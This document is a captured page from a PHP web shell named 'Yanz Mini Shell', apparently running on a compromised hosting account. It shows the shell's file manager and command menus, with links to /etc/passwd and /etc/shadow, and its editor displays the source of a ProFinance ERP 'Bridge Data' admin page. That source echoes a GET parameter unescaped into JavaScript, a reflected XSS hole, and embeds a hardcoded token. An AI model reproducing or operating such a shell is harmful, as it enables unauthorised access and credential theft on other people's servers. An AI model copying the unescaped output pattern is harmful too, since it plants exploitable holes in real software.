Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
housgcjs
elaan.net
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php $path="admin/orna/"; require_once('admin/orna/db.php'); $headder = "<div class=\"col-md-5\" style=\"text-align:right;\"> <a href=\"cu.php\" target=\"_blank\" title=\"Add User\"><button class=\"btn-xs btn-dark\"><i class=\"fa fa-plus\"> </i> Add User</button></a> </div> "; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content=""> <meta name="author" content=""> <meta name="keyword" content=""> <link rel="icon" type="image/x-icon" href="assets/img/favicon.ico"> <title>Bridge Application Data</title> <script src="assets/js/now.js"></script> <!-- Bootstrap core CSS --> <link href="assets/css/bootstrap.css" rel="stylesheet"> <link href="assets/css/orna.css" rel="stylesheet"> <!--external css--> <link href="assets/font-awesome/css/font-awesome.css" rel="stylesheet" /> <link rel="stylesheet" type="text/css" href="assets/js/gritter/css/jquery.gritter.css" /> <!-- Custom styles for this template --> <link href="assets/css/style.css" rel="stylesheet"> <link href="assets/css/style-responsive.css" rel="stylesheet"> <!-- select2 --> <link href="assets/css/select/select2.min.css" rel="stylesheet"> <link href="assets/js/datatables/jquery.dataTables.min.css" rel="stylesheet" type="text/css" /> <link href="assets/js/datatables/buttons.bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/js/datatables/fixedHeader.bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/js/datatables/responsive.bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/js/datatables/scroller.bootstrap.min.css" rel="stylesheet" type="text/css" /> <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif]--> <style type="text/css"> .form{ margin-bottom:1em; } .success{ color:#868686; font-weight: bold; } #form-wrapper{ background-color:white; margin:1em 0em; padding-top: 1em; } .wrapper { padding:15px 0px !important; } list .nav-header { margin-right: -15px; margin-left: -15px; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); } .nav-header { display: block; padding: 3px 15px; font-size: 11px; font-weight: bold; line-height: 20px; color: #999999; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); text-transform: uppercase; } .nav-tabs .divider { *width: 100%; height: 1px; margin: 9px 1px; *margin: -5px 0 5px; overflow: hidden; background-color: #e5e5e5; border-bottom: 1px solid #e8e8e8; } .nav-tabs > .active > a, .nav-tabs > .active > a:hover, .nav-tabs > .active > a:focus { color: #ffffff !important; text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.2); background-color: #d9534f !important; margin-right: 0px; border-radius:0; border: none !important; } .container { margin-left: 0px; padding-left: 0px; } .breadcrumb { padding: 8px 15px; margin-bottom: 0px; list-style: none; background-color: white; border-radius: 0px; } .nav-tabs{ border-bottom: 0px; } .tab-content{ min-height: 500px !important; overflow: scroll; padding: 1em; background-color: #f5f5f5; border: 1px solid #e3e3e3; } .tab-pane{ min-height: 330px; } .tab-pane p{ color: #a2a2a2; font-size: 12px; margin: 0 0 3px !important; } .control-label{ padding-top: 8px; } .linked{ color:#35c135; font-size: 1.1em; margin-left: 1em; } .not-linked{ color:red; font-size: 1.1em; margin-left: 1em; } .help{ color:dimgrey; font-size: 1.1em; margin-left: 0.5em; cursor: pointer; } .popover { text-align: left !important; } .module_box{ width: 32%; margin:0em 0em 0.5em 0.5em; padding-left: 0px; background-color: white; border: 1px solid #eaeaea; } .module_box .icon{ text-align: center; width: 25%; float: left; padding: 0.5em; color: white; font-size: 2em; background-color: #929292; } .module_box .text{ padding: 1em 0 0 1em; overflow: hidden; width: 75%; float: right; text-align: left; } .module_box h3{ font-size: 18px; font-weight: bold; color: #8e8e8e; margin:0em; } .module_box span{ color: #c3c3c3; font-size: 0.9em; } #datatable_wrapper .row, #datatable2_wrapper .row{ margin: 1px !important; } #datatable2_wrapper .col-sm-6 { width: 47%;} .dataTables_length select.input-sm { line-height: 12px !important; } .table{ width: 100% !important; } .well{ min-height: 500px; } #module_title{ font-weight: bold; color: #6b6b6b; } .help_text{ line-height: 22px !important; } #help_acl{ overflow: scroll; } .acl{ display: none; } .address{ line-height: 15px !important; padding-top: 8px; font-size: 0.5em; color: #ccc; } td a{ color: dimgrey; text-decoration: none; } td a:hover{ text-decoration: none; } </style> </head> <body> <section id="container" > <!--header start--> <?php require_once('inc-core/header.inc')?> <!--header end--> <!--sidebar start--> <?php require_once('inc-core/side-bar.inc');?> <!--sidebar end--> <!--main content start--> <section id="main-content"> <section class="wrapper site-min-height"> <!--content-start--> <div id="title"> <div class="row"> <div class="col-sm-12"> <h1><i class="fa fa-link"></i> Bridge Data</h1> <p> You can create link to an other ProFinance applications, and access dynamic data.</p> </div> </div> </div> <div id="form-wrapper"> <div class="row"> <ul class="breadcrumb"> <li><a href="menu.php">ProFinance</a> <span class="divider"></span></li> <li><a href="#">Administrator</a> <span class="divider"></span></li> <li class="active">Bridge Data</li> </ul> <div class="clear-fix"></div> <div class="container col-md-3"> <div class="well" style="margin-right:1em;padding:8px 0px;border-radius:0px;"> <ul class="nav nav-tabs nav-stacked myTab"> <li class="nav-header">Structure</li> <li class="active"><a href="#active_bridges">Bridged Apps</a></li> <li><a href="#new_bridge">Create Bridge</a></li> <li><a href="#access_token">Access Token</a></li> <li><a href="#bridge_log">Bridge Access Logs</a></li> <li class="divider"></li> </ul> </div> </div> <div> <div class="tab-content col-md-9"> <!--active_bridges--> <div role="tabpanel" class="tab-pane fade in active" id="active_bridges"> <div class="col-md-12" style="margin-bottom:2em;"> <div class="col-md-7"> <h4 style="margin-top: 1px;">Bridged Applications</h4> <p>Following are the active bridged applications</p> </div> <div class="col-md-5 myTab" style="text-align:right;"> <a href="#new_bridge" title="Create New Bridge"><button class="btn-xs btn-dark"><i class="fa fa-plus"> </i> Bridge</button></a> </div> </div> <table id="datatable2" class="table table-striped table-bordered table-hover go"> <thead> <tr class="table_header"> <th>Sr. #</th> <th width="40%">Application</th> <th>Access Token</th> <th>Status</th> <th>Action</th> </tr> </thead> <tbody> <?php $sql_bridge="select * from `".$MySQL_database."`.bridge_apps"; $query_bridge=mysqli_query($connection,$sql_bridge); $sr=0; while($bridge = mysqli_fetch_assoc($query_bridge)){ $sr++; print " <tr> <td>".$sr."</td> <td>".$bridge['application_name']."<br></td> <td class='myTab'> <p class='address'>".$bridge['access_token']." <span class='btn btn-xs btn-default'>show</span></p> </td> <td><i class=\"fa fa-check-circle linked\"></i> Connected</td> <td> <button class=\"btn btn-danger btn-xs\" disabled><i class=\"fa fa-trash-o\"></i></button> <button class=\"btn btn-primary btn-xs\" disabled><i class=\"fa fa-pencil\"></i></button> </td> </tr>"; }; ?> </tbody> </table> </div> <!--active_bridges--> <!--New Bridge--> <div role="tabpanel" class="tab-pane fade" id="new_bridge"> <div class="col-md-12" style="margin-bottom:2em;"> <div class="col-md-7"> <h4 style="margin-top: 1px;">Bridge New Application <span id="module_title"></span></h4> <p>Data bridge configuration, create bridge to access guest application data.</p> </div> <div class="col-md-5 myTab" style="text-align:right;"> <a href="#active_bridges" title="Go Back"><button class="btn-xs btn-default"><i class="fa fa-chevron-left"> </i> Back</button></a> </div> </div> <form class="form" id="create_bridge" method="POST"> <div class="col-md-10 form-group"> <label class="control-label col-md-3 col-sm-3 col-xs-12 cap"> <span>Application Name: </span></label> <div class="col-md-7 col-sm-7 col-xs-12 field"> <input type="text" class="form-control" value="" name="application_name" required> </div> <label class="control-label col-md-3 col-sm-3 col-xs-12 cap">Access Token: <br><span style="font-size:0.9em;color:grey;"> Copy access token from the guest application and paste it here </span></label> <div class="col-md-7 col-sm-7 col-xs-12 field"> <textarea class="form-control" name="access_token" rows="5" required></textarea> </div> </div> <div class="clearfix"></div> <div class="col-md-12 go"> <button type="submit" class="btn btn-default"><i class="fa fa-link"> </i> Link</button> </div> </form> </div> <!--New Bridge--> <!--Access Token--> <?php if(bridge=="enabled"){ $checked = "checked"; $enable_bridge_message=" display:none;"; $token="display:block;"; }else{ $checked = " "; $enable_bridge_message=" display:block;"; $token="display:none;"; } ?> <div role="tabpanel" class="tab-pane fade" id="access_token"> <div class="col-md-12" style="margin-bottom:2em;"> <div class="col-md-7"> <h4 style="margin-top: 1px;">Generate Access Token <span id="module_title"></span></h4> <p>Please copy this generated token value.</p> </div> <div class="col-md-5 myTab" style="text-align:right;"> <a href="#active_bridges" title="Go Back"><button class="btn-xs btn-default"><i class="fa fa-chevron-left"> </i> Back</button></a> </div> </div> <div class="col-md-4" style="margin-bottom:3em;"> <label class="control-label col-md-3 col-sm-3 col-xs-4 cap" style="text-align:right;margin-right:1em;">Enable Bridge </label> <div class="col-md-1 col-sm-1 col-xs-8" style="margin-top:0.6em;"> <input type="checkbox" name="bridge_status" value="" id="bridge_status" <?php echo $checked; ?>/> </div> </div> <div class="clearfix"></div> <div id="enable_bridge_message" style="background-color:white; color:grey;padding:2em;width:50%;margin:auto;border:1px solid #dcdcdc; <?php echo $enable_bridge_message;?>"> <span>Enabling bridge will allows host applications the access to your data with the Access Token. </span> </div> <div id="token" style="<?php echo $token;?>"> <div class="col-md-12"> <table class="table table-bordered" style="background-color:white;"> <tr> <td align="center" style="background-color:#d5934f;color:white;"><h1><i class="fa fa-exclamation-triangle"></i></h1></td> <td> <h4>Please copy the access token.</h4> <p>Please copy this generated token value and past it into the host application under <br> Administrator > Bridge Data > Create Bridge > Access Token. </p> </td> </tr> </table> </div> <form class="form" action="admin/ajax/php/sv.php?t_name1=access_list_of_form&count=1&row=single&file=false&flimit=0&aiu=n" id="new_form" data-back="" method="POST"> <div class="col-md-12 form-group"> <label class="control-label col-md-3 col-sm-3 col-xs-12 cap" style="text-align:right;margin-right:1em;"> <span >Access Token </span></label> <div class="col-md-6 col-sm-6 col-xs-11 field"> <textarea class="form-control" name="application_name" rows="5" readonly><?php echo base64_encode(basename(__DIR__))."|oiuoiuq79364bciuygwvc6r768172hasufy7687235b87hy987v897687x897h97v654d5433s4354e6rg7t8y9u0i0087876754635";?></textarea> Above access token has a validity period of 100 days, and the token has the (default) access scopes. </div> <div class="col-md-1 col-sm-1 col-xs-1 field"> <a href="#"><h4><i class="fa fa-clone"></i></h4></a> </div> </div> </form> </div> </div> <!--Access Token--> <!--Incoming Trafic Logs--> <div role="tabpanel" class="tab-pane fade" id="bridge_log"> <div class="col-md-12" style="margin-bottom:2em;"> <div class="col-md-7"> <h4 style="margin-top: 1px;">Bridge Access Log<span id="module_title"></span></h4> <p>Logs of all the incoming trafic, accessing your data.</p> </div> <div class="col-md-5 myTab" style="text-align:right;"> <a href="#active_bridges" title="Go Back"><button class="btn-xs btn-default"><i class="fa fa-chevron-left"> </i> Back</button></a> </div> </div> </div> <!--Incoming Trafic Logs--> </div> </div> </div> </div> <!--content-end--> </section><!--/wrapper --> </section><!-- /MAIN CONTENT --> <!--main content end--> <!--footer start--> <footer class="site-footer"> <div class="text-center"> <?php echo date("Y");?> - ProFinance ERP <a href="#" class="go-top"> <i class="fa fa-angle-up"></i> </a> </div> </footer> <!--footer end--> </section> <!-- js placed at the end of the document so the pages load faster --> <script src="assets/js/jquery.js"></script> <script src="assets/js/bootstrap.min.js"></script> <script src="assets/js/jquery-ui-1.9.2.custom.min.js"></script> <script src="assets/js/jquery.ui.touch-punch.min.js"></script> <script class="include" type="text/javascript" src="assets/js/jquery.dcjqaccordion.2.7.js"></script> <script src="assets/js/jquery.scrollTo.min.js"></script> <script src="assets/js/jquery.nicescroll.js" type="text/javascript"></script> <!--script for this page--> <script type="text/javascript" src="assets/js/gritter/js/jquery.gritter.js"></script> <script src="admin/ajax/js/bridge_applications.js" type="text/javascript"></script> <!-- select2 --> <script src="assets/js/select/select2.full.js"></script> <!--common script for all pages--> <script src="assets/js/common-scripts.js"></script> <!-- Datatables--> <script src="assets/js/datatables/jquery.dataTables.min.js"></script> <script src="assets/js/datatables/dataTables.bootstrap.js"></script> <script src="assets/js/datatables/dataTables.buttons.min.js"></script> <script src="assets/js/datatables/buttons.bootstrap.min.js"></script> <script src="assets/js/datatables/jszip.min.js"></script> <script src="assets/js/datatables/pdfmake.min.js"></script> <script src="assets/js/datatables/vfs_fonts.js"></script> <script src="assets/js/datatables/buttons.html5.min.js"></script> <script src="assets/js/datatables/buttons.print.min.js"></script> <script src="assets/js/datatables/dataTables.fixedHeader.min.js"></script> <script src="assets/js/datatables/dataTables.keyTable.min.js"></script> <script src="assets/js/datatables/dataTables.responsive.min.js"></script> <script src="assets/js/datatables/responsive.bootstrap.min.js"></script> <script src="assets/js/datatables/dataTables.scroller.min.js"></script> <script type="text/javascript"> $('.myTab a').click(function (e) { e.preventDefault(); $(this).tab('show'); }) <?php if(isset($_GET['active'])){ print " $('.myTab a[href=\"#".$_GET['active']."\"]').tab('show')"; } ?> </script> <!-- select2 --> <script> $(document).ready(function () { $(".select1_single").select2({ placeholder: "CHOOSE", allowClear: true }); //Datatables $('#datatable').dataTable(); $('#datatable2').dataTable(); //Datatables }); var height = $('.container').height(); $('.tab-content').css({'min-height' : height-20 , 'max-height' : height-20}); </script> <!-- /select2 --> </body> </html>
Free Space : 77942685696 Byte